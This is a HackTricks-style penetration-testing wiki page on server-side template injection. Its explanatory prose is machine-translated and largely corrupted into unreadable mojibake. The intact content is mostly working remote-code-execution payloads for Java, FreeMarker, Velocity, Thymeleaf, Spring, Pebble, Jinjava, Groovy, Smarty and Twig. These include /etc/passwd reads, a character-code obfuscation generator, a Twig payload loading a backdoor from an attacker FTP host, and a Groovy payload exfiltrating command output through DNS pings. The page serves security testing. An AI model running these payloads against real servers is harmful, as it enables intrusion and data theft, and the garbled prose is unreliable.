# SSTI (Server Side Template Injection)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ð¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ðŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
[**RootedCON**](https://www.rootedcon.com) 㯠**ã¹ãã€ã³** ã§æãéèŠãªãµã€ããŒã»ãã¥ãªãã£ã€ãã³ãã§ããã**ãšãŒããã** ã§æãéèŠãªã€ãã³ãã®äžã€ã§ãã**æè¡ç¥èã®ä¿é²**ã䜿åœãšãããã®äŒè°ã¯ããããåéã®æè¡ãšãµã€ããŒã»ãã¥ãªãã£ã®å°é家ãéãŸãç±ã亀æµã®å Žã§ãã
{% embed url="https://www.rootedcon.com/" %}
## What is SSTI (Server-Side Template Injection)
ãµãŒããŒãµã€ããã³ãã¬ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã¯ãæ»æè
ããµãŒããŒäžã§å®è¡ããããã³ãã¬ãŒãã«æªæã®ããã³ãŒãã泚å
¥ã§ãããšãã«çºçããè匱æ§ã§ãããã®è匱æ§ã¯ãJinjaãå«ãããŸããŸãªæè¡ã§èŠã€ããããšãã§ããŸãã
Jinjaã¯ããŠã§ãã¢ããªã±ãŒã·ã§ã³ã§äœ¿çšããã人æ°ã®ãã³ãã¬ãŒããšã³ãžã³ã§ããJinjaã䜿çšããè匱ãªã³ãŒãã¹ããããã瀺ãäŸãèããŠã¿ãŸãããïŒ
```python
output = template.render(name=request.args.get('name'))
```
ãã®è匱ãªã³ãŒãã§ã¯ããŠãŒã¶ãŒã®ãªã¯ãšã¹ãããã® `name` ãã©ã¡ãŒã¿ã `render` é¢æ°ã䜿çšããŠãã³ãã¬ãŒãã«çŽæ¥æž¡ãããŸããããã«ãããæ»æè
ã `name` ãã©ã¡ãŒã¿ã«æªæã®ããã³ãŒãã泚å
¥ããå¯èœæ§ãããããµãŒããŒãµã€ããã³ãã¬ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã«ã€ãªããå¯èœæ§ããããŸãã
äŸãã°ãæ»æè
ã¯æ¬¡ã®ãããªãã€ããŒããå«ããªã¯ãšã¹ããäœæããããšãã§ããŸã:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
The payload `{{bad-stuff-here}}` 㯠`name` ãã©ã¡ãŒã¿ã«æ³šå
¥ãããŸãããã®ãã€ããŒãã«ã¯ãæ»æè
ãäžæ£ãªã³ãŒããå®è¡ãããããã³ãã¬ãŒããšã³ãžã³ãæäœãããããããšãå¯èœã«ãã Jinja ãã³ãã¬ãŒããã£ã¬ã¯ãã£ããå«ãŸããå¯èœæ§ããããŸããããã«ããããµãŒããŒã®å¶åŸ¡ãåŸãããšãã§ããŸãã
ãµãŒããŒãµã€ããã³ãã¬ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã®è匱æ§ãé²ãããã«ãéçºè
ã¯ãŠãŒã¶ãŒå
¥åããã³ãã¬ãŒãã«æ¿å
¥ãããåã«é©åã«ãµãã¿ã€ãºããã³ããªããŒã·ã§ã³ãããŠããããšã確èªããå¿
èŠããããŸããå
¥åããªããŒã·ã§ã³ãå®è£
ããã³ã³ããã¹ãã«å¿ãããšã¹ã±ãŒãæè¡ã䜿çšããããšã§ããã®è匱æ§ã®ãªã¹ã¯ã軜æžã§ããŸãã
### Detection
ãµãŒããŒãµã€ããã³ãã¬ãŒãã€ã³ãžã§ã¯ã·ã§ã³ (SSTI) ãæ€åºããããã«ãæåã« **ãã³ãã¬ãŒãããã¡ãžã³ã°ãã** ããšãç°¡åãªã¢ãããŒãã§ããããã¯ãç¹å¥ãªæåã®ã·ãŒã±ã³ã¹ (**`${{<%[%'"}}%\`**) ããã³ãã¬ãŒãã«æ³šå
¥ããéåžžã®ããŒã¿ãšãã®ç¹å¥ãªãã€ããŒãã«å¯ŸãããµãŒããŒã®å¿çã®éããåæããããšãå«ã¿ãŸããè匱æ§ã®ææšã«ã¯ä»¥äžãå«ãŸããŸãïŒ
* è匱æ§ãæããã«ãããšã©ãŒãçºçããæœåšçã«ãã³ãã¬ãŒããšã³ãžã³ãæããã«ãªãã
* åæ ã«ãã€ããŒããååšããªãããŸãã¯ãã®äžéšãæ¬ ããŠããå ŽåããµãŒããŒããããéåžžã®ããŒã¿ãšã¯ç°ãªãæ¹æ³ã§åŠçããŠããããšã瀺åããŸãã
* **ãã¬ãŒã³ããã¹ãã³ã³ããã¹ã**: ãµãŒããŒããã³ãã¬ãŒãåŒãè©äŸ¡ãããã©ããã確èªããããšã§ XSS ãšåºå¥ããŸã (äŸ: `{{7*7}}`, `${7*7}`)ã
* **ã³ãŒãã³ã³ããã¹ã**: å
¥åãã©ã¡ãŒã¿ãå€æŽããããšã§è匱æ§ã確èªããŸããäŸãã°ã`http://vulnerable-website.com/?greeting=data.username` ã® `greeting` ãå€æŽããŠããµãŒããŒã®åºåãåçãåºå®ãã確èªããŸããäŸãã°ã`greeting=data.username}}hello` ããŠãŒã¶ãŒåãè¿ããã©ããã確èªããŸãã
#### Identification Phase
ãã³ãã¬ãŒããšã³ãžã³ãç¹å®ããã«ã¯ããšã©ãŒã¡ãã»ãŒãžãåæããããããŸããŸãªèšèªåºæã®ãã€ããŒããæåã§ãã¹ãããŸãããšã©ãŒãåŒãèµ·ããäžè¬çãªãã€ããŒãã«ã¯ `${7/0}`ã`{{7/0}}`ãããã³ `<%= 7/0 %>` ãå«ãŸããŸããæ°åŠçæäœã«å¯ŸãããµãŒããŒã®å¿çã芳å¯ããããšã§ãç¹å®ã®ãã³ãã¬ãŒããšã³ãžã³ãç¹å®ããã®ã«åœ¹ç«ã¡ãŸãã
## Tools
### [TInjA](https://github.com/Hackmanit/TInjA)
å¹çç㪠SSTI + CSTI ã¹ãã£ããŒã§ãããæ°ããããªã°ããããå©çšããŠããŸãã
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
```
### [Tplmap](https://github.com/epinna/tplmap)
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
æãå¹ççãªãã³ãã¬ãŒãã€ã³ãžã§ã¯ã·ã§ã³ããªã°ããããšã44ã®æãéèŠãªãã³ãã¬ãŒããšã³ãžã³ã®æåŸ
ãããã¬ã¹ãã³ã¹ãå«ãã€ã³ã¿ã©ã¯ãã£ããªããŒãã«ã§ãã
## Exploits
### Generic
ãã®**wordlist**ã«ã¯ã以äžã«ç€ºãããã€ãã®ãšã³ãžã³ã®ç°å¢ã§**å®çŸ©ãããå€æ°**ãå«ãŸããŠããŸãïŒ
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
### Java
**Java - åºæ¬çãªã€ã³ãžã§ã¯ã·ã§ã³**
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
```
**Java - ã·ã¹ãã ã®ç°å¢å€æ°ãååŸãã**
```java
${T(java.lang.System).getenv()}
```
**Java - /etc/passwdãååŸ**
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
### FreeMarker (Java)
ããªãã¯[https://try.freemarker.apache.org](https://try.freemarker.apache.org)ã§ãã€ããŒããè©Šãããšãã§ããŸãã
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
* `#{7*7} = 49 -- (legacy)`
* `${7*'7'} Nothing`
* `${foobar}`
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - ãµã³ãããã¯ã¹ãã€ãã¹**
â ïž Freemarkerã®ããŒãžã§ã³ã2.3.30æªæºã®å Žåã®ã¿åäœããŸã
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
**詳现æ
å ±**
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) ã®FreeMarkerã»ã¯ã·ã§ã³
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
### Velocity (Java)
```java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
```
**More information**
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) ã®Velocityã»ã¯ã·ã§ã³
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
### Thymeleaf
Thymeleafã«ãããŠãSSTIè匱æ§ã®äžè¬çãªãã¹ãã¯ãåŒ`${7*7}`ã§ãããããã¯ãã®ãã³ãã¬ãŒããšã³ãžã³ã«ãé©çšãããŸãããªã¢ãŒãã³ãŒãå®è¡ã®å¯èœæ§ãããå Žåã次ã®ãããªåŒã䜿çšã§ããŸãïŒ
* SpringEL:
```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
* OGNL:
```java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleafã§ã¯ããããã®åŒãç¹å®ã®å±æ§å
ã«é
眮ããå¿
èŠããããŸãããã ãã_expression inlining_ã¯ä»ã®ãã³ãã¬ãŒãã®å Žæã§ããµããŒããããŠããã`[[...]]`ã`[(...)]`ã®ãããªæ§æã䜿çšã§ããŸãããããã£ãŠãã·ã³ãã«ãªSSTIãã¹ããã€ããŒãã¯`[[${7*7}]]`ã®ããã«ãªããŸãã
ãããããã®ãã€ããŒããæ©èœããå¯èœæ§ã¯äžè¬çã«äœãã§ããThymeleafã®ããã©ã«ãèšå®ã§ã¯åçãã³ãã¬ãŒãçæããµããŒããããŠãããããã³ãã¬ãŒãã¯äºåã«å®çŸ©ãããŠããå¿
èŠããããŸããéçºè
ã¯ãæååãããã³ãã¬ãŒãããªã³ã¶ãã©ã€ã§äœæããããã«ç¬èªã®`TemplateResolver`ãå®è£
ããå¿
èŠããããããã¯äžè¬çã§ã¯ãããŸããã
Thymeleafã¯ãŸããããã«ã¢ã³ããŒã¹ã³ã¢ïŒ`__...__`ïŒå
ã®åŒãååŠçãã_åŒååŠç_ãæäŸããŠããŸãããã®æ©èœã¯ãThymeleafã®ããã¥ã¡ã³ãã«ç€ºãããŠããããã«ãåŒã®æ§ç¯ã«å©çšã§ããŸãïŒ
```java
#{selection.__${sel.code}__}
```
**Thymeleafã«ãããè匱æ§ã®äŸ**
以äžã®ã³ãŒãã¹ãããããèããŠã¿ãŠãã ãããããã¯æªçšãããå¯èœæ§ããããŸãïŒ
```xml
```
ããã¯ããã³ãã¬ãŒããšã³ãžã³ããããã®å
¥åãäžé©åã«åŠçããå Žåã次ã®ãããªURLã«ã¢ã¯ã»ã¹ãããªã¢ãŒãã³ãŒãå®è¡ã«ã€ãªããå¯èœæ§ãããããšã瀺ããŠããŸã:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**詳现æ
å ±**
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
### Springãã¬ãŒã ã¯ãŒã¯ (Java)
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
**ãã£ã«ã¿ãŒã®ãã€ãã¹**
`${...}`ãæ©èœããªãå Žåã¯ã`#{...}`ã`*{...}`ã`@{...}`ããŸãã¯`~{...}`ãè©ŠããŠãã ããã
* `/etc/passwd`ãèªã¿åã
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
* ãã€ããŒãçæã®ããã®ã«ã¹ã¿ã ã¹ã¯ãªãã
```python
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
```
**詳现æ
å ±**
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Spring View Manipulation (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
* [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
### Pebble (Java)
* `{{ someString.toUPPERCASE() }}`
Pebbleã®å€ãããŒãžã§ã³ ( < version 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
æ°ããããŒãžã§ã³ã®Pebble :
```java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
### Jinjava (Java)
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjavaã¯Hubspotã«ãã£ãŠéçºããããªãŒãã³ãœãŒã¹ãããžã§ã¯ãã§ã[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)ã§å
¥æå¯èœã§ãã
**Jinjava - ã³ãã³ãå®è¡**
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)ã«ãã£ãŠä¿®æ£ãããŸããã
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
**詳现æ
å ±**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
### Hubspot - HuBL (Java)
* `{% %}` ã¹ããŒãã¡ã³ãåºåã
* `{{ }}` åŒåºåã
* `{# #}` ã³ã¡ã³ãåºåã
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest"ãæ€çŽ¢ãã[Jinjavaãããžã§ã¯ããGithubã§çºèŠ](https://github.com/HubSpot/jinjava/)ã
```java
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```
**詳现æ
å ±**
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
### è¡šçŸèšèª - EL (Java)
* `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000.
* `#{7*7}` - 49
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
è¡šçŸèšèª (EL) ã¯ãJavaEEã«ããããã¬ãŒã³ããŒã·ã§ã³å±€ïŒãŠã§ãããŒãžãªã©ïŒãšã¢ããªã±ãŒã·ã§ã³ããžãã¯ïŒãããŒãžãããŒã³ãªã©ïŒãšã®çžäºäœçšãä¿é²ããåºæ¬çãªæ©èœã§ãããã®éä¿¡ãå¹çåããããã«ãè€æ°ã®JavaEEæè¡ã§åºã䜿çšãããŠããŸããELãå©çšããäž»èŠãªJavaEEæè¡ã«ã¯ä»¥äžãå«ãŸããŸãïŒ
* **JavaServer Faces (JSF)**: JSFããŒãžå
ã®ã³ã³ããŒãã³ãã察å¿ããããã¯ãšã³ãããŒã¿ããã³ã¢ã¯ã·ã§ã³ã«ãã€ã³ãããããã«ELã䜿çšããŸãã
* **JavaServer Pages (JSP)**: JSPå
ã§ããŒã¿ã«ã¢ã¯ã»ã¹ãæäœããããã«ELã䜿çšãããããŒãžèŠçŽ ãã¢ããªã±ãŒã·ã§ã³ããŒã¿ã«æ¥ç¶ããããããŸãã
* **Java EEã®ããã®ã³ã³ããã¹ããšäŸåæ§æ³šå
¥ (CDI)**: ELã¯CDIãšçµ±åããããŠã§ãå±€ãšãããŒãžãããŒã³éã®ã·ãŒã ã¬ã¹ãªçžäºäœçšãå¯èœã«ããããäžè²«ããã¢ããªã±ãŒã·ã§ã³æ§é ã確ä¿ããŸãã
**ELã€ã³ã¿ãŒããªã¿ã®æªçš**ã«ã€ããŠè©³ããã¯ã以äžã®ããŒãžã確èªããŠãã ããïŒ
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
### Groovy (Java)
以äžã®ã»ãã¥ãªãã£ãããŒãžã£ãŒãã€ãã¹ã¯ããã®[**æžã蟌ã¿**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)ããååŸãããŸããã
```java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
ââ[**RootedCON**](https://www.rootedcon.com/) 㯠**ã¹ãã€ã³** ã§æãé¢é£æ§ã®é«ããµã€ããŒã»ãã¥ãªãã£ã€ãã³ãã§ããã**ãšãŒããã** ã§æãéèŠãªã€ãã³ãã®äžã€ã§ãã**æè¡çç¥èã®ä¿é²**ã䜿åœãšãããã®äŒè°ã¯ããããåéã®æè¡ãšãµã€ããŒã»ãã¥ãªãã£ã®å°é家ãéãŸãç±ã亀æµã®å Žã§ãã
{% embed url="https://www.rootedcon.com/" %}
##
### Smarty (PHP)
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
**詳现æ
å ±**
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) ã®Smartyã»ã¯ã·ã§ã³
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Error`
* `{{foobar}} Nothing`
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
```
**Twig - ãã³ãã¬ãŒã圢åŒ**
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
**詳现æ
å ±**
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) ã®Twigããã³Twig (Sandboxed)ã»ã¯ã·ã§ã³
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
Platesã¯PHPã«ãã€ãã£ããªãã³ãã¬ãŒããšã³ãžã³ã§ãTwigããã€ã³ã¹ãã¬ãŒã·ã§ã³ãåŸãŠããŸããããããTwigãæ°ããæ§æãå°å
¥ããã®ã«å¯ŸããPlatesã¯ãã³ãã¬ãŒãå
ã§ãã€ãã£ãPHPã³ãŒãã掻çšããŠãããPHPéçºè
ã«ãšã£ãŠçŽæçã§ãã
Controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
ããŒãžãã³ãã¬ãŒã:
```php
layout('template', ['title' => 'User Profile']) ?>
User Profile
Hello, =$this->e($name)?>
```
ã¬ã€ã¢ãŠããã³ãã¬ãŒã:
```html
=$this->e($title)?>
=$this->section('content')?>
```
**詳现æ
å ±**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
